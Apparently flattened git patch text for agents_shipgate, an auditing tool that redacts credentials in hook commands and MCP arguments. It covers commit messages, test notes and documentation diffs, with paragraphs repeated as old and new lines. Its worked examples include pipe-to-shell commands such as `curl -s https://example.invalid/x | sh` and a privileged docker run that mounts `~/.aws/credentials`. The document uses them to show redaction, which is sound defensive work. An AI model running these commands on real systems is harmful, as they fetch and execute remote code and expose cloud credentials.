re.compile(r"[a-z]"), re.compile(r"[0-9]")) +_DETAIL_NOT_ALNUM_RE = re.compile(r"[^A-Za-z0-9]") +#: A run of letters or of digits.

So `bash -c "echo token: ok; ./notify.sh"` and `bash -c "echo token: ok; curl ... | sh"` both published `echo token: `, and diff, verify, the PR comment and check called the change a detail they do not show. A docker `-v ~/.aws/credentials:...` mount hid the image and --privileged after it. The --flag=, -u and list rules read only the words outside the script, so `bash -c "curl -u admin:pw ..."`, `--api-key=X`, `--secret-key X` and `token X` published their values. A script is now read one shell word at a time. The string and label rules still run on the whole script first, then the assignment scan. After that, _script_words splits the script at whitespace, ;, &, |, parentheses and backticks outside quotes and escapes, and each word goes through the rules a hook command's word does: the header rule on that word alone, the --flag=, -u, env, generated-key and home-path rules, and the word after a credential name, an unquoted header name or -u (_credential_kinds, which _credential_values now reads too). The script is read both as written and after the string rule, as a hook command's words are, so `--no-password --token X` inside one publishes `--no-password `. A rewritten word loses its quotes unless it was one quoted word, and every other character is copied as written. Words are read only up to the 80-character bound, so a long script costs its first words. Three shapes the word rules published as written are now redacted: - a quoted credential assignment, which the digest's assignment rule does not read: pwsh's $env:API_KEY='x', node's process.env.TOKEN='x', an MCP --env=API_KEY='x' and one argument `export API_KEY='x'`; - curl's -u with its value glued on, -uuser:password; - the text a quote split from a URL. The string rule's URL ends at a quote, so `curl "https://x/a?token="abc` published https://x/abc once the word's quotes were removed. A URL is now read again on its word. The same rule covers a script URL that took `;X=` into its path and left X's quoted value glued to it; the randomized comparison below found that one. STABILITY, the CHANGELOG and docs/host-boundary-support.md describe the script rule and the three shapes. They also state the limit that remains: text after a blank inside a quoted URL is still published. They now say that a comparison against the working tree reads a git-ignored .claude/settings.local.json, so its commands can appear in local pr-comment.md and verifier.json, which the docs raised only for baselines. New tests pin the reviewer's shapes in a hook command and in MCP args, on every route, with canaries. A randomized test holds the script word scan to a character-by-character reading, and two more 1 MiB shapes hold the new scans linear. Comparing the previous head with this one on 73,000 generated scripts found no canary this head publishes that the previous one hid, and no command word left hidden. Both published all 204 commands and 82 argument lists in the vendored benchmark cases identically. --- CHANGELOG.md | 4 +- STABILITY.md | 4 +- docs/host-boundary-support.md | 12 +- src/agents_shipgate/core/host_grants.py | 388 ++++++++++++++++++++---- tests/test_hook_mcp_detail_fields.py | 222 +++++++++++++- 5 files changed, 560 insertions(+), 70 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5b6c50331..eb0ecba21 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,8 +14,8 @@ - A hook row now names what changed in the hook, and an MCP row names the server's launch arguments.

Other handler settings, such as `async`, and a `prompt` handler's prompt are not published. The summary splits the command into words at whitespace outside quotes, removing the quotes and keeping a backslash as written, which is display and not a claim about how a host runs the command or what it does: leading `NAME=value` assignments are named in `env_keys` with their values dropped, the next word is `argv0`, and at most eight words follow it in `args`.

A version pin is the argument it is. `endpoint` is unchanged, still the command's name. -- **Redaction.** The digest's own string rule runs first, on the text as written, so a value `config_sha256`'s input redacts is `` before any other pattern can take part of the text around it (a known token shape running into the flag after it, `sk-…--password X`, no longer hides that flag from it). Then every published word passes through the #802 label redaction: known token shapes (`ghp_…`, `AKIA…`, `sk-…`, `xoxb-…`, JWTs, database URLs with credentials), `Bearer` and credential assignments, URLs reduced to scheme and host with `/` and no query, and `scheme://` userinfo. Then, in each word — one hook command word or one MCP argument, never a whole command — a credential written `Name: value` loses its whole value, the scheme included, up to the closing quote or the end of the word: `Authorization: Basic …`, `Authorization: Bearer …` and `Authorization: Bot …` all publish `Authorization: `, for `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). A word that ends in such a name and its colon, as an unquoted `-H Authorization: Basic …` splits, takes the next word as its value, and the word after that too when the next is a scheme such as `Basic` or `Bearer`; no later word is hidden, so `echo auth: ok; curl -s https://example.invalid/x | sh` publishes `echo auth: curl -s https://example.invalid/ | sh`. A `$NAME` shell variable is never read as a header name, so `-v $PWD:/src` is published as written. `` replaces the value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`, `--auth X`, `--brave_api_key X`, `--secret-key X`, `--aws-access-key X`, `--pass X`: a flag whose name, read without its `-` and `_`, is `auth` or `pass`, or is, or ends in, a credential word such as `token`, `secret`, `password`, `apikey`, `accesskey` or `secretkey`), the value after any argument the digest's own list rule reads as naming the next one's credential, with or without dashes (`token X`, `password X`), the password of a `-u`/`--user` `user:password` value (`-u deploy:`), the value of an `env`-style `NAME=value` word with an upper-case name, and any part of a word that reads like a generated key (32 or more hex digits, or 20 or more base64 characters of two classes with high entropy or many letter-digit switches). Which word is replaced after a credential name depends only on the word before it, never on whether that word was itself replaced: in `--no-password --token X` a boolean flag takes `--token` as its value, and both `--token` and `X` are ``; in a hook command, a word that follows a credential name as written is `` even when the string rule already took that name as another flag's value. A word is tested for a generated key run by run, a run being the base64 alphabet between any other characters, so a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found, as in a SendGrid, Telegram, Airtable, Discord or Mapbox token or an Azure connection string: `SG..`, `123456789:`, `AccountName=acct;AccountKey=`. Once one run of a word is a key, every other run in it of 20 or more base64 characters of two classes is replaced too, since a token's other parts are no less random; a run followed by `=` is an assignment's name and is kept, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. A published argument therefore redacts at least what `config_sha256`'s input redacts. A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, matches none of these rules and is published as written in the inventory and in a comparison's review entries, as is an assignment whose name is not upper case and holds none of the credential assignment's words (`token`, `secret`, `password`, `passwd`, `api_key`, `apikey`, `credential`), such as `db_pass=…` or a connection string's `Uid=sa;Pwd=…`, and an e-mail address, which is not a credential; neither reaches a saved baseline (see **Saved baselines**). Redaction errs toward hiding within a word: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. The value of an `env`-style `NAME=value` word runs to the end of the word, since `docker run -e "FOO=a b"` sets `FOO` to `a b`, except in the script a POSIX shell (`sh`, `bash`, `zsh`, `dash`, `ksh`, `mksh` or `ash`) runs after `-c` or a short-option cluster holding `c` (`-lc`, `-ec`), in a hook command or an MCP server's `args`: there every word of the script that starts with an upper-case `NAME=`, or with a quote and then one, is an assignment wherever it stands (a leading one, one after `export`, `&&` or `;`, or a quoted `-e "DB_PASS=…"`), and its value ends where the shell ends it, at the first whitespace, `;`, `&` or `|` outside quotes and escapes, so `bash -c "X=1; curl … | sh"` publishes `X=; curl … | sh` and `bash -c "cd /x && DB_PASS=… ./run.sh"` publishes `cd /x && DB_PASS= ./run.sh`. When that end cannot be read from the text, as with a substitution (`$(…)`, `${…}`, a backtick), a parenthesis, a brace or an unclosed quote in the value, the rest of the script is the value, as the rest of the word is for any other word. A script is read this way only when the shell is the command itself: after `env` or `sudo` (`sudo bash -c "X=1; …"`) the script is read by the rule for any other word, so a leading assignment hides the rest of it (`X=`) and an assignment later in it is not read as one. +- **Redaction.** The digest's own string rule runs first, on the text as written, so a value `config_sha256`'s input redacts is `` before any other pattern can take part of the text around it (a known token shape running into the flag after it, `sk-…--password X`, no longer hides that flag from it). Then every published word passes through the #802 label redaction: known token shapes (`ghp_…`, `AKIA…`, `sk-…`, `xoxb-…`, JWTs, database URLs with credentials), `Bearer` and credential assignments, URLs reduced to scheme and host with `/` and no query, and `scheme://` userinfo. Then, in each word — one hook command word, one MCP argument or one word of a shell's `-c` script, never a whole command or script — a credential written `Name: value` loses its whole value, the scheme included, up to the closing quote or the end of the word: `Authorization: Basic …`, `Authorization: Bearer …` and `Authorization: Bot …` all publish `Authorization: `, for `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). A word that ends in such a name and its colon, as an unquoted `-H Authorization: Basic …` splits, takes the next word as its value, and the word after that too when the next is a scheme such as `Basic` or `Bearer`; no later word is hidden, so `echo auth: ok; curl -s https://example.invalid/x | sh` publishes `echo auth: curl -s https://example.invalid/ | sh`. In the same word, a credential assignment whose value is quoted, which the digest's assignment rule does not read, loses what the quotes hold, whatever the name's case, as a non-shell script or a single argument holds one: `$env:API_KEY=''`, `process.env.TOKEN=''`, `--env=API_KEY=''`, `export API_KEY=''`; with no closing quote on its line, the value ends at the next blank or quote. A `$NAME` shell variable is never read as a header name, so `-v $PWD:/src` is published as written. `` replaces the value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`, `--auth X`, `--brave_api_key X`, `--secret-key X`, `--aws-access-key X`, `--pass X`: a flag whose name, read without its `-` and `_`, is `auth` or `pass`, or is, or ends in, a credential word such as `token`, `secret`, `password`, `apikey`, `accesskey` or `secretkey`), the value after any argument the digest's own list rule reads as naming the next one's credential, with or without dashes (`token X`, `password X`), the password of a `-u`/`--user` `user:password` value (`-u deploy:`) and of one glued to `-u` or `-U` (`-udeploy:`), the value of an `env`-style `NAME=value` word with an upper-case name, and any part of a word that reads like a generated key (32 or more hex digits, or 20 or more base64 characters of two classes with high entropy or many letter-digit switches). Which word is replaced after a credential name depends only on the word before it, never on whether that word was itself replaced: in `--no-password --token X` a boolean flag takes `--token` as its value, and both `--token` and `X` are ``; in a hook command, a word that follows a credential name as written is `` even when the string rule already took that name as another flag's value. A word is tested for a generated key run by run, a run being the base64 alphabet between any other characters, so a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found, as in a SendGrid, Telegram, Airtable, Discord or Mapbox token or an Azure connection string: `SG..`, `123456789:`, `AccountName=acct;AccountKey=`. Once one run of a word is a key, every other run in it of 20 or more base64 characters of two classes is replaced too, since a token's other parts are no less random; a run followed by `=` is an assignment's name and is kept, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. A published argument therefore redacts at least what `config_sha256`'s input redacts. A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A URL is read again on its word once the word's quotes are removed, so text a quote split from it is part of it and reduced with it: `curl "https://x/a?token="abc` publishes `https://x/`. It still ends at a blank or a quote left in the word, so the text after a blank inside a quoted URL (`"https://x/a?q=a b"`) is published as written. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, matches none of these rules and is published as written in the inventory and in a comparison's review entries, as is an assignment whose name is not upper case and holds none of the credential assignment's words (`token`, `secret`, `password`, `passwd`, `api_key`, `apikey`, `credential`), such as `db_pass=…` or a connection string's `Uid=sa;Pwd=…`, and an e-mail address, which is not a credential; neither reaches a saved baseline (see **Saved baselines**). Redaction errs toward hiding within a word: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. The value of an `env`-style `NAME=value` word runs to the end of the word, since `docker run -e "FOO=a b"` sets `FOO` to `a b`, except in the script a POSIX shell (`sh`, `bash`, `zsh`, `dash`, `ksh`, `mksh` or `ash`) runs after `-c` or a short-option cluster holding `c` (`-lc`, `-ec`), in a hook command or an MCP server's `args`: there every word of the script that starts with an upper-case `NAME=`, or with a quote and then one, is an assignment wherever it stands (a leading one, one after `export`, `&&` or `;`, or a quoted `-e "DB_PASS=…"`), and its value ends where the shell ends it, at the first whitespace, `;`, `&` or `|` outside quotes and escapes, so `bash -c "X=1; curl … | sh"` publishes `X=; curl … | sh` and `bash -c "cd /x && DB_PASS=… ./run.sh"` publishes `cd /x && DB_PASS= ./run.sh`. When that end cannot be read from the text, as with a substitution (`$(…)`, `${…}`, a backtick), a parenthesis, a brace or an unclosed quote in the value, the rest of the script is the value, as the rest of the word is for any other word. Every other word rule reads such a script one shell word at a time, a word ending at whitespace, `;`, `&`, `|`, a parenthesis or a backtick outside quotes and escapes, after the string rule and the label rule have run on the whole script: the credential header and quoted-assignment rules run on each shell word alone, so a header's value never runs past its word (`bash -c "echo token: ok; ./notify.sh"` publishes `echo token: ; ./notify.sh`, and `-v ~/.aws/credentials:/root/.aws/credentials:ro evil/img --privileged` publishes `-v ~/.aws/credentials: evil/img --privileged`); the `--flag=value`, `-u`, generated-key and home-path rules read each shell word; and the word after a credential name, an unquoted header name or `-u` is replaced as it is among a command's words, reading the script both as written and after the string rule (`--api-key=`, `--secret-key `, `token `, `-u admin:`, `--no-password `, `Authorization: `). A word that follows a credential name as written is `` wherever else the script holds the same word, so `echo token: echo` publishes ` token: `. A word such a rule rewrites is published without its quotes unless it was one quoted word; every other character is copied as written. A script is read this way only when the shell is the command itself: after `env` or `sudo` (`sudo bash -c "X=1; …"`) the script is read by the rule for any other word, so a leading assignment hides the rest of it (`X=`) and an assignment later in it is not read as one. - **Bounds.** A word longer than 80 characters, or a matcher longer than 120, is cut and ends in `…`. `omitted_args` and `omitted_handlers` count the words, arguments and handlers past their bound; at most sixteen handlers per event are listed. When an edit is confined to what is past a bound, the row says only the first ones were compared and names what is past them, below. - **Shape.** Only the documented hooks shape is read: a list of matcher groups, each an object with a `hooks` list of objects whose `command`, when present, is a string. Anything else publishes `handlers: null`, and its row reads `PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects`. A plugin-selected hook (#714) and a Codex `.codex/hooks.json` hook publish the handlers their file declares and keep their loading basis: `access`, `risk`, the row's `why` and the expansion signal are unchanged. - **Display only.** The new members are a redacted, bounded projection of the configuration `config_sha256` is computed from. Grant equality and every inventory digest (a baseline's `inventory_sha256`, the drift and comparison digests) leave them out, so a change is a row exactly when it was one before, and the display's redaction never hides one: rotating a positional token is still a row, which says the change is in a redacted or shortened argument, as is a change to a header value's words after its scheme (`Authorization: Bearer …`) or to the value after a flag the digest's input does not name (`--secret-key …`). A value the digest's own input already redacts, such as the value after `--token`, `--api-key` or `--password`, a `--password=…` value or an `X-Api-Key:` header value, is not compared, so a change confined to it is no row, as before. -- **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `args` or `omitted_args`, in either scope. A baseline is committed ("Commit it"), and a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope, would otherwise carry values that were never in the repository into it, a short positional password among them, which no word rule recognises. A saved `0.7` baseline's grants are therefore exactly the grants a `0.6` baseline holds, and the `0.7` baseline schema, which forbids the members, differs from `0.6` only in its version. Nothing is lost: no comparison, row or digest reads them from a baseline, `inventory_sha256` is the same with or without them, and `audit --host --drift` against a saved baseline compares as it would have. In that drift payload a changed hook or MCP server's `baseline` side has no `handlers` or `args`; its `current` side has them. A comparison between two commits (`diff`, `check`, manifest-free `verify`) reads both sides fresh, saves nothing, and renders both sides' detail. +- **Saved baselines.** `audit --host --save-baseline` writes each grant as comparisons read it, without `handlers`, `omitted_handlers`, `args` or `omitted_args`, in either scope.

A CI checkout has no such file; read a comment written locally before posting it. - **The rows.** A changed hook names each differing field with its before and after, `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: command bin/lint.sh → curl -s https://example.invalid/ | sh`, `PostToolUse: timeout 10 → 600`; with several handlers, which one (`PreToolUse: handler 2 timeout 5 → 50`); a handler only one side declares as `+handler (…)` or `-handler (…)`, since nothing establishes which handler another replaced; and a reorder as `the same handlers in a different order`. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`. A changed MCP server adds `args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest` beside its other published facts, and an added one `docs (command name npx; args -y example-mcp-server@2.0.0)`. When no published field differs, a hook reads `no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting`, and a command server `no difference in the command name npx, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting`. When either side declares more than it publishes, the sentence names the bound: a command server with more than twelve arguments reads `no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, the command's path, a redacted or shortened argument, or another setting`, a hook with more than sixteen handlers reads `… or timeout of the first 16 handlers; … such as a handler past the first 16, …`, and one whose command has more than eight arguments names `a command argument past the first 8`. No entry names a direction (#820). The entry is printed by `diff`, `verify` text, the PR comment and `check` text, and published as `review.changes[].change` in `diff --json` and `verifier.json`.

The whole-script string rule does remove words: its URL takes an unquoted `?a&b&c&d;` and its credential assignment takes an unquoted `TOKEN=a|b|c|d`. The secrets set was not yet filled when the value was published, so `bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic X"` published `Authorization: X`, and `--no-password --token X`, `--auth -u u:X` and `--auth token X` after either prefix published X, in hook commands and in MCP args alike, on every route. Every word of the script as written is now read before any word is published, so the two readings no longer need to keep step. The scan is linear. A near-1 MiB script of 500,000 words takes about a second. The word after a credential word was replaced across ;, | and &&, so it hid the next command's first word. `gh auth token | docker login ...` published `gh auth token | login ...` on both sides, and a docker -> podman edit read "no difference in the matcher, type, command summary or timeout". `echo token:; ./notify.sh` published `echo token:; `. _credential_kinds takes a starts_command test, and _script_command_words says of each script word whether a ;, &, |, newline, parenthesis or backtick comes before it. Both readings start afresh at each command. No digest redaction is lost: the string rule has already run on the whole script and still replaces what it reads across a separator (`--token |X` publishes `--token `). The same reset applies to a hook command's own words. A word that is only control operators (|, ||, &&, ;, &) starts a new command, so `gh auth token | docker login ghcr.io` keeps its pipe instead of reading `token docker`. An MCP server's args are not read by a shell, and the digest's list rule redacts whatever item follows `token`, `|` included, so those args are read as before. After sudo or env, or in a script run by a shell that is not POSIX such as pwsh -c, the script is still one word. An unquoted credential `Name:` word's value runs to the end of it: `sudo bash -c "echo token: ok; curl ... | sh"` publishes `echo token: `. STABILITY already stated the assignment consequence. It now states this header consequence too, and docs/host-boundary-support.md and the CHANGELOG limit "never hides the commands after it" to the script of a POSIX shell that is itself the command. They also say what the string rule still takes across a separator. Tests: each of `--no-password --token X`, `echo Authorization: Basic X`, `--auth -u u:X` and `--auth token X` behind no prefix, a `?a&b&c&d;` URL, a `?a&b&c;` URL and a `TOKEN=a|b|c|d` prefix, in a hook command and in MCP args. A route test finds none of the review's three canaries in diff text or JSON, verify text, pr-comment.md, verifier.json, check text or audit --host --json. A route test shows the docker -> podman edit named on every route. There are separator shapes (`echo token:; ./notify.sh`, `gh auth token; ./deploy.sh`, `&&`, `|`, parentheses, `Authorization: Basic; ./run.sh`) and shapes where the string rule takes a value across a separator (`|X`, a newline, `&X`). The top-level operator words are covered, and so is the MCP `token |` parity. Two near-1 MiB shapes guard the full pre-read in linear time. Against the previous engine, 20 of the new cases fail. --- CHANGELOG.md | 2 +- STABILITY.md | 2 +- docs/host-boundary-support.md | 17 ++- src/agents_shipgate/core/host_grants.py | 137 +++++++++++++++----- tests/test_hook_mcp_detail_fields.py | 161 +++++++++++++++++++++++- 5 files changed, 282 insertions(+), 37 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eb0ecba21..1622a768d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,7 @@ - A hook row now names what changed in the hook, and an MCP row names the server's launch arguments. Before, `diff`, `verify`, the manifest-free PR comment and `check` printed `PostToolUse → PostToolUse` whether the edit was to the hook's matcher, its command or its timeout, and an MCP server whose version pin moved from `example-mcp-server@1.2.3` to `@latest` read `docs: no difference in the command name npx, env key names or header key names; the change is in a detail this output does not show, such as the command's path or arguments`: the grants carried none of it, and only `config_sha256` saw the edit. On five of 23 public pull requests measured on 2026-09-15, the hook rows showed only event names.

With several handlers under one event the entry names which one (`handler 2 timeout 5 → 50`), an added or removed handler is listed as such, and a reorder says so. An added or removed hook names its handlers, `SessionEnd (command bin/cleanup.sh)`, and an added MCP server its arguments. When none of the published fields differ, the entry says the change is in a detail it does not show — a redacted or shortened word, or a setting such as `async` or `cwd` — instead of repeating the same values.

A hook `timeout` is published as the number it is, or as bounded text when it is not a finite number or has more than 80 digits. The digest's own credential-assignment rule no longer takes time quadratic in a long run of name characters (40,000 characters of `password` took 1.6 seconds, and a hook command's detail about four times that); it matches exactly what it matched, so every `config_sha256` is unchanged. - **Saved baselines hold none of it:** `audit --host --save-baseline` writes each hook and MCP grant without `handlers` or `args`, in either scope, so a command or argument read from `~/.claude/settings.json`, `~/.cursor/mcp.json`, managed settings or a git-ignored `.claude/settings.local.json` never reaches the committed baseline. A comparison whose head is the working tree (`diff` or `verify` without `--head`) reads a git-ignored `.claude/settings.local.json` there, as it already read the file's events, so its commands can appear in the local `diff` output, `pr-comment.md` and `verifier.json`; a CI checkout has no such file. A saved `0.7` baseline's grants are the ones a `0.6` baseline holds; no comparison, row or digest read them, and `inventory_sha256` is unchanged. - **Unchanged:** grant equality and every inventory digest leave the new members out, so a change is a row exactly when it was one before, through `config_sha256`; every row value, the row count, `check`'s boundary result and the control envelope's `capability_rows` publish what they did; verifier `0.21` and capability diff `0.4` do not move for it; the host-config and cold-start benchmark replays reproduce their run-of-record scores. Re-running `diff --json` on the 80 vendored benchmark cases with the prepared `1.1.0` commit and this tree gave byte-identical rows on all 80; 42 entries on 35 cases gained detail, and each of the 7 changed hook or MCP entries (six repositories; one is vendored in both benchmarks) that read `PreToolUse → PreToolUse` or `no difference in the command name …` now names its field, such as `mcp-outline: args mcp-outline==1.10.0 → mcp-outline==1.10.1` or `PreToolUse: handler 2 timeout 30 → 120`. - **Compatibility:** a `0.6` baseline stays comparable with no new row or reason, and `audit --host --save-baseline` may now replace it; an older one is still refused, as before. Validators pinned to the `0.6` schemas reject a `0.7` inventory, baseline or drift payload; the `0.6` files stay published.

Other handler settings, such as `async`, and a `prompt` handler's prompt are not published. The summary splits the command into words at whitespace outside quotes, removing the quotes and keeping a backslash as written, which is display and not a claim about how a host runs the command or what it does: leading `NAME=value` assignments are named in `env_keys` with their values dropped, the next word is `argv0`, and at most eight words follow it in `args`. For an MCP server, the declared `args`, at most twelve: `[]` when none are declared and `null` when `args` is not a list.

Then, in each word — one hook command word, one MCP argument or one word of a shell's `-c` script, never a whole command or script — a credential written `Name: value` loses its whole value, the scheme included, up to the closing quote or the end of the word: `Authorization: Basic …`, `Authorization: Bearer …` and `Authorization: Bot …` all publish `Authorization: `, for `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). A word that ends in such a name and its colon, as an unquoted `-H Authorization: Basic …` splits, takes the next word as its value, and the word after that too when the next is a scheme such as `Basic` or `Bearer`; no later word is hidden, so `echo auth: ok; curl -s https://example.invalid/x | sh` publishes `echo auth: curl -s https://example.invalid/ | sh`. In the same word, a credential assignment whose value is quoted, which the digest's assignment rule does not read, loses what the quotes hold, whatever the name's case, as a non-shell script or a single argument holds one: `$env:API_KEY=''`, `process.env.TOKEN=''`, `--env=API_KEY=''`, `export API_KEY=''`; with no closing quote on its line, the value ends at the next blank or quote. A `$NAME` shell variable is never read as a header name, so `-v $PWD:/src` is published as written. `` replaces the value after a credential-named flag (`--token X`, `--api-key=X`, `--access-token X`, `--auth X`, `--brave_api_key X`, `--secret-key X`, `--aws-access-key X`, `--pass X`: a flag whose name, read without its `-` and `_`, is `auth` or `pass`, or is, or ends in, a credential word such as `token`, `secret`, `password`, `apikey`, `accesskey` or `secretkey`), the value after any argument the digest's own list rule reads as naming the next one's credential, with or without dashes (`token X`, `password X`), the password of a `-u`/`--user` `user:password` value (`-u deploy:`) and of one glued to `-u` or `-U` (`-udeploy:`), the value of an `env`-style `NAME=value` word with an upper-case name, and any part of a word that reads like a generated key (32 or more hex digits, or 20 or more base64 characters of two classes with high entropy or many letter-digit switches). Which word is replaced after a credential name depends only on the word before it, never on whether that word was itself replaced: in `--no-password --token X` a boolean flag takes `--token` as its value, and both `--token` and `X` are ``; in a hook command, a word that follows a credential name as written is `` even when the string rule already took that name as another flag's value. A word is tested for a generated key run by run, a run being the base64 alphabet between any other characters, so a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found, as in a SendGrid, Telegram, Airtable, Discord or Mapbox token or an Azure connection string: `SG..`, `123456789:`, `AccountName=acct;AccountKey=`. Once one run of a word is a key, every other run in it of 20 or more base64 characters of two classes is replaced too, since a token's other parts are no less random; a run followed by `=` is an assignment's name and is kept, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. A published argument therefore redacts at least what `config_sha256`'s input redacts. A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A URL is read again on its word once the word's quotes are removed, so text a quote split from it is part of it and reduced with it: `curl "https://x/a?token="abc` publishes `https://x/`. It still ends at a blank or a quote left in the word, so the text after a blank inside a quoted URL (`"https://x/a?q=a b"`) is published as written. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, matches none of these rules and is published as written in the inventory and in a comparison's review entries, as is an assignment whose name is not upper case and holds none of the credential assignment's words (`token`, `secret`, `password`, `passwd`, `api_key`, `apikey`, `credential`), such as `db_pass=…` or a connection string's `Uid=sa;Pwd=…`, and an e-mail address, which is not a credential; neither reaches a saved baseline (see **Saved baselines**). Redaction errs toward hiding within a word: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. The value of an `env`-style `NAME=value` word runs to the end of the word, since `docker run -e "FOO=a b"` sets `FOO` to `a b`, except in the script a POSIX shell (`sh`, `bash`, `zsh`, `dash`, `ksh`, `mksh` or `ash`) runs after `-c` or a short-option cluster holding `c` (`-lc`, `-ec`), in a hook command or an MCP server's `args`: there every word of the script that starts with an upper-case `NAME=`, or with a quote and then one, is an assignment wherever it stands (a leading one, one after `export`, `&&` or `;`, or a quoted `-e "DB_PASS=…"`), and its value ends where the shell ends it, at the first whitespace, `;`, `&` or `|` outside quotes and escapes, so `bash -c "X=1; curl … | sh"` publishes `X=; curl … | sh` and `bash -c "cd /x && DB_PASS=… ./run.sh"` publishes `cd /x && DB_PASS= ./run.sh`. When that end cannot be read from the text, as with a substitution (`$(…)`, `${…}`, a backtick), a parenthesis, a brace or an unclosed quote in the value, the rest of the script is the value, as the rest of the word is for any other word. Every other word rule reads such a script one shell word at a time, a word ending at whitespace, `;`, `&`, `|`, a parenthesis or a backtick outside quotes and escapes, after the string rule and the label rule have run on the whole script: the credential header and quoted-assignment rules run on each shell word alone, so a header's value never runs past its word (`bash -c "echo token: ok; ./notify.sh"` publishes `echo token: ; ./notify.sh`, and `-v ~/.aws/credentials:/root/.aws/credentials:ro evil/img --privileged` publishes `-v ~/.aws/credentials: evil/img --privileged`); the `--flag=value`, `-u`, generated-key and home-path rules read each shell word; and the word after a credential name, an unquoted header name or `-u` is replaced as it is among a command's words, reading the script both as written and after the string rule (`--api-key=`, `--secret-key `, `token `, `-u admin:`, `--no-password `, `Authorization: `). A word that follows a credential name as written is `` wherever else the script holds the same word, so `echo token: echo` publishes ` token: `. A word such a rule rewrites is published without its quotes unless it was one quoted word; every other character is copied as written. A script is read this way only when the shell is the command itself: after `env` or `sudo` (`sudo bash -c "X=1; …"`) the script is read by the rule for any other word, so a leading assignment hides the rest of it (`X=`) and an assignment later in it is not read as one. +- **Redaction.** The digest's own string rule runs first, on the text as written, so a value `config_sha256`'s input redacts is `` before any other pattern can take part of the text around it (a known token shape running into the flag after it, `sk-…--password X`, no longer hides that flag from it).

Which word is replaced after a credential name depends only on the word before it, never on whether that word was itself replaced: in `--no-password --token X` a boolean flag takes `--token` as its value, and both `--token` and `X` are ``; in a hook command, a word that follows a credential name as written is `` even when the string rule already took that name as another flag's value. In a hook command, which a shell runs, a word that is only control operators, such as `|`, `||`, `&&`, `;` or `&`, starts a new command, so it is neither a value nor followed by one: `gh auth token | docker login ghcr.io` publishes as written. An MCP server's `args` are not read by a shell, and there the argument after `token` is `` whatever it is, `|` included, as the digest's list rule has it. A word is tested for a generated key run by run, a run being the base64 alphabet between any other characters, so a key joined to other text by `.`, `:`, `;`, `,`, `@` or `=` is found, as in a SendGrid, Telegram, Airtable, Discord or Mapbox token or an Azure connection string: `SG..`, `123456789:`, `AccountName=acct;AccountKey=`. Once one run of a word is a key, every other run in it of 20 or more base64 characters of two classes is replaced too, since a token's other parts are no less random; a run followed by `=` is an assignment's name and is kept, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. A published argument therefore redacts at least what `config_sha256`'s input redacts. A hook command's leading assignments keep only their names, in `env_keys`, whatever their case. A path under the reading user's home is written from `~`. A URL is read again on its word once the word's quotes are removed, so text a quote split from it is part of it and reduced with it: `curl "https://x/a?token="abc` publishes `https://x/`. It still ends at a blank or a quote left in the word, so the text after a blank inside a quoted URL (`"https://x/a?q=a b"`) is published as written. A short or word-like secret passed positionally or after a flag no rule names, such as `-p hunter2`, `-phunter2` or `--key hunter2`, matches none of these rules and is published as written in the inventory and in a comparison's review entries, as is an assignment whose name is not upper case and holds none of the credential assignment's words (`token`, `secret`, `password`, `passwd`, `api_key`, `apikey`, `credential`), such as `db_pass=…` or a connection string's `Uid=sa;Pwd=…`, and an e-mail address, which is not a credential; neither reaches a saved baseline (see **Saved baselines**). Redaction errs toward hiding within a word: a pin whose image name ends in a credential word, such as `ghcr.io/org/auth:1.2.3`, reads `ghcr.io/org/auth:`, and a tag change there reads as a change in a redacted argument. The value of an `env`-style `NAME=value` word runs to the end of the word, since `docker run -e "FOO=a b"` sets `FOO` to `a b`, except in the script a POSIX shell (`sh`, `bash`, `zsh`, 